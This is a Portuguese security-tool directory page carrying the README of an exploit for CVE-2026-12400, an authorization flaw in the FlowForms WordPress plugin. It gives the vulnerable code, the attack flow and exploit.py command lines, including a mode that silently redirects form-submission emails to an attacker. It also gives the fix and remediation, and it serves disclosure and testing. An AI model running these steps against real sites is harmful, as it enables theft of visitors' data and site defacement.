Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsTestes de PenetraçãoAprendizado e Educação
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

Exploit em Python para o CVE-2026-12400, uma vulnerabilidade IDOR no plugin FlowForms do WordPress que permite que contribuidores autenticados modifiquem formulários arbitrários e sequestrem notificações por e-mail.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 1 mêsAinda não revisado

CVE-2026-12400 — FlowForms IDOR: Modificação Não Autorizada de Formulários

Referência Direta a Objeto Insegura Autenticada (Contribuidor+) para Modificação Arbitrária de Formulários no FlowForms ≤ 1.1.1

Visão Geral da Vulnerabilidade

PropriedadeValor
ID CVECVE-2026-12400
Pontuação CVSS4.3 — Médio
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (Contorno de Autorização Através de Chave Controlada pelo Usuário)
ProdutoFlowForms — Plugin WordPress de Construtor de Formulários Conversacionais
AfetadoTodas as versões até e incluindo 1.1.1
Corrigido emCorrigido na versão 1.1.2
PesquisadorPhantom Hat

Análise Técnica

Estudo de caso completo em caixa branca com análise de código-fonte, rastreamento de fluxo de entrada e comparação de patches:

📄 Caso de Estudo CVE-2026-12400 — Medium

Superfície de Ataque

O FlowForms expõe dois endpoints da API REST sob o namespace flowforms/v1 que são vulneráveis:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Ambos aceitam um {id} controlado pelo usuário no caminho da URL e modificam os dados do formulário alvo — nome, conteúdo, layout, URL de redirecionamento e destinatários de notificação por e-mail.

Causa Raiz

Ambos os registros de rota vulneráveis compartilham o mesmo permission_callback falho:

root@kitploit:~
// Atualizar conteúdo/nome do formulário
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Atualizar configurações do formulário (notificações por e-mail, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts é uma capacidade detida por Contribuidores. O parâmetro {id} nunca é verificado contra a propriedade do usuário solicitante — qualquer usuário autenticado pode mirar em qualquer ID de formulário no site.

Fluxo de Ataque

root@kitploit:~
Atacante (Contribuidor)              API REST FlowForms
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Autenticar como Contribuidor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Coletar nonce REST
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerar formulários publicados
        │<─ HTTP 200 ───────────────────────│      (qualquer formulário acessível é um alvo)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Sobrescrever nome/conteúdo do formulário
        │       com payload do atacante ───>│       ← sem verificação de proprietário
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Sequestrar notificações por e-mail
        │       /settings ─────────────────>│       ← atacante recebe todas
        │<─ { "success": true } ────────────│         as futuras submissões de formulários
        │                                   │
        │   Todos os 3 vetores confirmados  │  (5) Nome ✔  Conteúdo ✔  E-mail ✔

Três Vetores de Ataque

O modo e-mail é o mais crítico. Após o sequestro, cada submissão ao formulário de contato da vítima — incluindo PII dos visitantes, mensagens e detalhes de contato — é encaminhada silenciosamente para o endereço controlado pelo atacante. O administrador do site não vê nenhuma indicação da alteração.


Uso do Exploit

Pré-requisitos

  • Python 3.8+
  • Uma conta autenticada com pelo menos o papel de Contribuidor no site alvo

Instalação

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Modos de Operação

Modificação de Nome

Renomear qualquer formulário para conteúdo controlado pelo atacante:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contribuidor \
  --password senha123 \
  -i 1 -n 100 \
  --exploit name

Modificação de Conteúdo

Sobrescrever layout, telas, URL de redirecionamento e imagens de fundo:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contribuidor \
  --password senha123 \
  -i 1 -n 100 \
  --exploit content

Sequestro de Notificação por E-mail (Maior Impacto)

Redirecionar todas as notificações futuras de submissão de formulários para um endereço controlado pelo atacante:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contribuidor \
  --password senha123 \
  -i 1 -n 100 \
  --exploit email

Com Proxy (Burp Suite)

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contribuidor \
  --password senha123 \
  -i 1 -n 100 \
  --exploit email

Referência Completa de Flags

Personalizando Payloads

Os templates de payload JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) estão definidos no topo do script. Edite-os antes de executar para personalizar o conteúdo do ataque — altere o endereço de e-mail de notificação, URL de redirecionamento, imagem de fundo, título do formulário, etc.

root@kitploit:~
# Topo do exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← altere isto
                    ...
                }
            }
        }
    }
}""")

Fluxo de Exploração

O exploit executa três etapas automatizadas:

Etapa 1 — Autenticar Faz login como atacante (Contribuidor) e coleta um nonce válido da API REST em wp-admin/post-new.php.

Etapa 2 — Enumerar Formulários Escaneia GET /flowform/{id} ao longo da faixa de IDs especificada. IDs que retornam HTTP 200 são coletados como alvos acessíveis — são formulários publicados pertencentes a qualquer usuário do site, incluindo administradores.

Etapa 3 — Explorar Dependendo do modo selecionado, envia o payload correspondente ao endpoint REST desprotegido:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

O servidor aceita a requisição e aplica a modificação sem verificar a propriedade.


Remediação

AçãoDetalhes
CorreçãoSubstituir a verificação genérica edit_posts por current_user_can('edit_post', $form_id) em ambos os endpoints — vincular a verificação de capacidade ao objeto de post específico impõe as regras de propriedade do WordPress

Implementação Segura

root@kitploit:~
// VULNERÁVEL — ambos os endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SEGURO (corrigido)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Referências

  • CWE-639 — Contorno de Autorização Através de Chave Controlada pelo Usuário
  • register_rest_route() — Documentação do WordPress para Desenvolvedores
  • current_user_can() — Documentação do WordPress para Desenvolvedores
  • Plugin FlowForms — WordPress.org

Estrutura do Projeto

root@kitploit:~
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Exploit refinado com interface rica (3 modos)
├── requirements.txt            # Dependências Python
└── README.md                   # Este arquivo

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais de pesquisa. O acesso não autorizado a sistemas de computador é ilegal de acordo com as leis aplicáveis em todo o mundo. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema que você não possua.


Autor

Phantom Hat — Pesquisador de Segurança Independente

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

Esta pesquisa foi conduzida como parte da divulgação responsável de vulnerabilidades.

Baixar ferramenta
ModoEndpointImpacto
nome/forms/{id}Renomear qualquer formulário — desfiguração, engenharia social
conteúdo/forms/{id}Sobrescrever layout, telas de boas-vindas/agradecimento, URL de redirecionamento
e-mail/forms/{id}/settingsSequestrar e-mail de notificação — receber silenciosamente todas as submissões de formulários
FlagCurtaDescriçãoObrigatório
--url-uURL do WordPress alvo✅
--userNome de usuário do WordPress (Contribuidor+)✅
--passwordSenha do WordPress✅
--id-start-iID inicial de formulário para enumeração✅
--num-forms-nNúmero de IDs de formulário a enumerar✅
--exploitModo de ataque: name / content / email✅
--proxy-pURL do proxy (ex.: http://127.0.0.1:8080)❌
MitigaçãoAté que seja corrigido, restrinja os papéis de Contribuidor e Autor se o plugin estiver ativo